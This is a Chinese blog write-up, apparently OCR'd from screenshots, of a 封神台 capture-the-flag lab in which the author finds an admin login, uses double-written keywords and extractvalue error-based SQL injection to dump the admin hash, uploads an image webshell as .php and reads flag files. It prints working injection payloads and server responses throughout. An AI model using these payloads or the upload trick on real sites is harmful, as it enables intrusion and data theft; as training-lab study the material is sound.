封神台-getshell



xixihahawuwu ● 于 2020-11-26 17:44:18 发布 ● 201 论 收藏 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/xixihahawuwu/article/details/110198046</u> 版权

> Tips: 注入的本质是与数据库交互(增删改查),注入点有简单防护,常规绕过即可

有个小提示

进入靶场 御剑扫描一下 10 http://59.63.200.79:8003/bees/index.php 200 11 http://59.63.200.79:8003/bees/admin/login.php 200

我们得到了一个admin/login.php

这个看着就很敏感。猜测是管理员的登录界面

👽 🔏 59.63.200.79:8003/bees/admin/login.php

🕨 新手上路 📄 常用网址 📄 常用网址 🌆 京东商城 🖨 微博 🖨 携程旅行 🖨 天猫 🖨 网址大全 🖨 愛淘宝 🖨 京东商城 🖨 京东商城 🖨 百度



묾

访问进去果然是管理员的登录界面 我们转到虚拟机中去,使用bp抓下包



	用户名:		登陆 🐤	
	密码:			
	验证码:	dd d d		
			https://blog.csdn.ne	t/xixihahawuwu

这里可能有的盆友和我一样,一开始验证码的模块没有显示出来。得调一下比例才可以把验证码的框显示出来。虚拟机浏览器比 例的问题



输入用户名密码验证码, 抓包

Burp Intruder Repeater Window Help Intruder Repeater Sequencer Decoder Comparer Extende Spider Scanner Target 1 × Go Cancel $< | \pi$ > 1 Request Response Raw Params Headers Hex Raw POST /bees/admin/login.php?action=ck_login HTTP/1.1 . Host: 59.63.200.79:8003 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://59.63.200.79:8003/bees/admin/login.php Cookie: PHPSESSID=kptefl7t93hs37s2mf7m8426p2 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 70 user=admin&password=1234&code=dddd&submit=true&submit.x=38&submit.y=23 https://blog.csdn.net/xixihahawuwu

发送到repeater模块 寻找注入点 先尝试着在用户名处修改

<body> <div class="msg_body"> <div class="msg_lan">操作信息</div><!-- 当前位置--> <div class="msg_contain"> 输入的密码不正确页面将在移后自动返回返回上一页<script type="text/javascript">time_go();</script> </div> </div>

存在注入点。这里有一个问题,就是我在第一次抓包修改用户名上传后返回的提示信息是验证码不正确,猜测这里应该有一个时间限制会自动刷新验证码,所以建议在输入用户名的密码后,输入验证码前,将验证码刷新后在输入,点击登录抓包 先猜测字段

使用order by语句

user=admin' order by 6#&password=123456&code=e841&submit=true&submit.x=50&submit.y=25

当参数为6时报错

<div style="font-size:12px;">操作数据库失败Unknown column '6' in 'order clause'
sql:select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name='admin' order by 6#' limit 0,1<a href="javascript:history.go(-1);"</pre> style="text-decration:none">返回</div> 从回显信息我们可以知道筛选字段数为5, select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name='admin' order by 6#' limit 0.1 筛选字段为id,admin_name,admin_password,admin_purview,is_disable 从admin name表中筛选 爆一下回显字段 使用联合查询 Union select 1,2,3,4,5 ----user=admin* union select 1,2,3,4,5 #&password=123456&code=e841&submit=true&submit.x=50&submit.y=25 <div style="font-size:l2px;">操作数据库失敗You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2,3,4,5#' limit0,1' at line 1
sql:select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name='admin' 1,2,3,4,5 #' limit 0,1返回</div> 根据回显我们可以知道关键字被过滤了、、、、 尝试下双写绕过 user=admin' uniunionon select 1,2,3,4,5 #&password=123456&code=e841&submit=true&submit.x=50&submit.y=25 <div style="font-size:12px;">操作数据库失败You have an error i syntax to use near 'uniunionon 1,2,3,4,5 #' limit 0,1' at line 1< admin_name='admin' uniunionon 1,2,3,4,5 #' limit 0,1 Union绕过失败,可能是我方式弄错了,这里就不试了

iser=admin' union selselectct 1,2,3,4,5 #&password=123456&code=e841&submit=true&submit.x=50&submit.y=25

div style="font-size:l2px;">操作数据库失敗You have an e
yntax to use near 'selct 1,2,3,4,5 #' limit 0,1' at line 1<
dmin_name='admin'selct 1,2,3,4,5 #' limit 0,1</p>

Select绕过成功,但是没有回显字段 这边用到一个报错注入extractvalue(1, '~') user=admin' and nd extractvalue(1,concat('~',(database()),'~')) #&password=123456&code=e841&submit=true&submit.x=50&submit.y=25

p>操作数据库失败XPATH syntax error: '~bees~'
sql:selectid,admin_na

得到数据库名bees 接下来要查询所有的数据表 需要注意的是,extractvalue(1, '~')注入能查询的字符串最大长度为32 但我们之前也知道了,网站对我们进行了一个关键字过滤,需要双写来绕过才行 也就是说我们需要解决查询字符串长度的问题 我们需要使用substr()函数来截取字符串 输入查询语句

a and nd extractvalue(1,substr(concat('~',(selselectect group_concat(table_name) fr from om information_schema.tables w where here table_schema like database()),'~'),1,30)) #通过调整substr中的len参数来获取所有的数据表

user=admin' a and nd extractvalue(1, substr(concat('~', (selselectect group_concat(table_name) fr from om information_schema.tables w where here table_schema
like database()), '~'),1,30)) #&password=123456&code=e841&submit=true&submit.x=50&submit.y=25

'~bees_admin,bees_admin_group,bee'
s

之前我们得到了五个字段id,admin_name,admin_password,admin_purview,is_disable

我们从bees_admin中查询admin_name和admin_password

注入a and nd extractvalue(1,concat('~',(selselectect admin_name fr from om bees_admin limit 1),'~'))#

user=admin' a and nd extractvalue(1,concat('~',(selselectect admin_name fr from om bees_admin limit 1),'~'))
#&password=123456&code=e841&submit=true&submit.x=50&submit.y=25

*操作数据库失敗XPATH syntax error: '~admin~'
sql:select id,admin_name,admin_password,admin_purview,is_disable frc admin' and extractvalue(1,concat('~',(select admin name from bees admin limit 1), '~')) #' limit 0,1id="time url"

用户名是我们之前猜测的admin

注入a and nd extractvalue(1,substr(concat('~',(selselectect admin_password fr from om bees_admin limit 1),'~'),10)) # 这里依旧调整参数来不断获取参数

user=admin' a and nd extractvalue(1,substr(concat('~',(selselectect admin_password fr from om bees_admin limit 1),'~'),1))
#&password=123456&code=e841&submit=true&submit.x=50&submit.v=25
参数为1 时

: '~21232f297a57a5a743894a0e4a801fc'
sql:select

2~6时

user=admin' a and nd extractvalue(1,substr(concat('~',(selselectect admin_password fr from om bees_admin limit 1), '~'),6))
#&password=123456&code=e841&submit=true&submit.x=50&submit.y=25

兼作数据库失败XPATH syntax error: 'f297a57a5a743894a0e4a801fc3~'
br>sql:select
in purview,is disable from bees admin where admin name='admin' and extractvalue(1,s)

7时不回显

8~10

>>操作数据库失败XPATH syntax error: 'a57a5a743894a0e4a801fc3~'
>sql:select

再往后查询要么不回显,要么就是和8~10时一样的字符 最后一个一个md5解密字符串 得到

密文: ~21232f297a57a5a743894a0e4a801fc3~



也就是说管理员密码为admin

登录后台



https://blog.csdn.net/xixihahawuwu

成功进入后台

▶ 内容管理			2012-12-08 23:12:10	有	gqį	删除 修改 删除缩略图
• 添加文章模块						
• 管理文章模块			2012-12-08 23:12:34	有	gqį	10月4日
• 添加产品模块						1001 FOR THE CX 1001 FOR \$18 INCLUS
• 管理产品模块	1 Alexandre		2012-12-08 23:12:54	有	jpg	删除 修改 删除缩略图
• 单页内容管理						
• 添加片段内容	1.50%)			有	jpg	删除 修改 删除缩略图
• 管理片段内容			2012-12-08 23:12:16			
• 上传图片管理						
• 上传附件管理			2012-12-08 23:12:16	有	jpg	删除 修改 删除缩略图
♠ 模板管理						
▲ 留言表单		2012-12-08 23:12:35 有 jpg	jpg	删除 修改 删除缩略图		
会员管理员				-		https://biog.cscn.net/xixinanawuwu

在上传图片管理处可以看到我们可以修改图片,重新上传。 这里就用图片木马上传,抓包修改后缀为.php

<!DOCTYPE html PUBLIC =-//W3C//DTD XHTML 1.0 Transitional//EN" =http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>操作信息</title> k rel="stylesheet" type="text/css" href="template/admin.css"/> <script type="text/javascript" src="template/images/jquery.js"></script> <script type="text/javascript"> var \$time=0; var \$totaltime=5; \$is_time=\$totaltime; function time_go(){ \$is_time=\$is_time-1; \$time=\$time+1; \$('#is_time').html(\$is_time); if(\$time==\$totaltime){ \$url=\$('#time_url').find('a').attr('href'); location.href=\$url; 3 if(\$time<\$totaltime){ setTimeout("time_go()",1000); 3 } </script>

<style type="text/css">

Ľ	ydy{backgroud:#f8f8f8}
L	/style>
L	/head>
L	
L	vector
L	div class="msg_body">
L	<div class="msg_lan">操作信息</div> d/当前位置>
L	<pre><div class="msg_contain"></div></pre>
L	<pre><pre>comparison == "font-weight:bold;color:#1566B3">图片更新成功!com将在秒后自动返回<a< pre=""></a<></pre></pre>
L	ref="?pic nav=l&nav=pic list&admin p nav=content">返回上一页 <script type="text/javascript">time go():</script>
L	/div>
L	
L	/hot/>
L	
L	ntmt>
L	
L	
L	

懵逼了。。。。。。 居然没有返回文件位置

返回浏览器查看。文件已经上传上去了

产品图片 🖌 捜索	R				
图片	图片alt	上传时间	缩略图	格式	操作
		2012-12-08 23:12:10	有	php	删除 修改 删除缩略图
		2012-12-08 23:12:34	有	jpg	删除 修改 删除缩略图
		2012-12-08 23:12:54	有	jpg	删除 修改 删除缩略图

吓死了。还以为又挂了

点击图片

↑列表 ×/ http://59.63...3104864.php × \ +

D 59.63.200.79:8003/bees/upload/img/20121208/201212082353104864.php

st Visited 🗸 🎟 Offensive Security 🋸 Kali Linux 🋸 Kali Docs 🔺 Exploit-DB 🐚 Aircrack-ng 카 Ki

Url返回文件位置

菜刀连接,

Flag在c盘下

1				读取
🤹 C: 🔤	文件		大小	属性
Documents and Settings	Documents and Settings	2020-11-26 08:37:32	0	0777
- Instruk	🔒 Inetpub	2018-10-17 17:04:26	0	0777
	Program Files	2018-10-17 07:44:42	0	0555
🃗 Program Files	RECYCLER	2020-08-13 14:06:03	0	0777
RECYCLER	📔 System Volume Information	2018-10-17 07:39:58	0	0777
System Volume Information	🔒 web	2019-05-27 09:22:33	0	0777
System volume mormation	WINDOWS	2020-10-30 13:47:50	0	0777
🎍 web	🔒 wmpub	2018-10-17 07:36:19	0	0777
WINDOWS	AUTOEXEC.BAT	2018-10-17 07:35:45	0	0777
M wmpub	i boot.ini	2018-10-17 07:28:34	210	0666
- D	📃 bootfont.bin	2007-03-07 12:00:00	322730	0444
See D:	CONFIG.SYS	2018-10-17 07:35:45	0	0666
🔻 퉬 phpStudy	🗐 flag.txt	2018-04-02 11:25:38	23	0666
VWW	IO.SYS	2018-10-17 07:35:45	0	0444
	MSDOS.SYS	2018-10-17 07:35:45	0	0444
V DEES	NTDETECT.COM	2007-03-07 12:00:00	47772	0555
🔻 퉬 upload	ntldr	2007-03-07 12:00:00	306288	0444
🔻 🚹 ima	pagefile.sys	2020-08-13 14:07:15	1610612736	0666
20121208				

zkz{F3ck_power_3y3stem}

。。。。。 这个居然还是个假的

载入 D:\phpStudy\WWW\BEES\flag.tx

flag_{axdeDaf}

正确的flag在这里